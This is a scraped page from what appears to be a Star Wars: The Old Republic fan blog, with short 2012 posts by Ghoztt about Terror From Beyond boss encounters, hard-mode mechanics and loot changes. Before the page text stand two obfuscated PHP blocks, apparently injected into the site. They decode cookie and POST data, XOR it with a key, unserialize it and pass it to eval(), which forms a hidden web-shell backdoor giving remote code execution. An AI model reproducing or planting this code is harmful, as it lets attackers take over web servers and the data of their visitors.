$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Terror From Beyond – Corellian Run Radio
Dec 212012
 

opsinfologo

By Ghoztt

It’s been exactly a year and a day since the official launch of Star Wars: The Old Republic and it has certainly been an interesting year at that. We’ve seen players and staff come and go. We’ve made new friends in game and lost some to other games. We’ve gone from a subscription model to free-to-play. During this time we’ve seen an evolution to the operations that Bioware has been releasing. Let’s take a moment to reflect upon the last year.

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Nov 022012
 

By Ghoztt

Kephess is back and uglier than ever! This encounter will test your operation group’s movement and positioning. I don’t feel this fight is as difficult as Kephess in Denova but it does offer up new mechanics which make this fight fun. He’s got a lot of health to burn through so you’ll have to take advantage of the local architecture and use it to your advantage in this encounter.

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Nov 022012
 

By Ghoztt

Among all the bosses in Terror From Beyond Hard Mode, I feel that the encounter with Operator IX requires the most coordination. The story mode version of this fight already has quite a few mechanics to deal with, but additional abilities and strict timers make this encounter even more complex in hard mode. Having a plan and a set rotation during the second phase is important if you plan to get past the puzzle boss of this latest operation.

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Oct 262012
 

By Ghoztt

The Dread Guard encounter is a very stressful fight for the healers due to the large amount of damage that goes out to the operation. In addition, there is a mechanic in place where healing a tank will end up healing the boss so discipline needs to be exercised knowing when to heal and when not to. That being said, this fight isn’t exactly a walk in the park for the DPS and tanks either.

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Oct 122012
 

By Ghoztt

Needless to say, there was quite a bit of outrage from the community once BioWare confirmed that Story Mode Explosive Conflict (SM EC) no longer dropped Black Hole commendations. Their reasoning was that they wanted to remove Story Mode from the progression line and keep it, just that, a playable story. As a result, SM EC was nerfed tremendously in order to allow the more casual players to see it. Was this a bad move on BioWare’s part? Let’s talk about this and a few other things I want to get off my chest. Continue reading »

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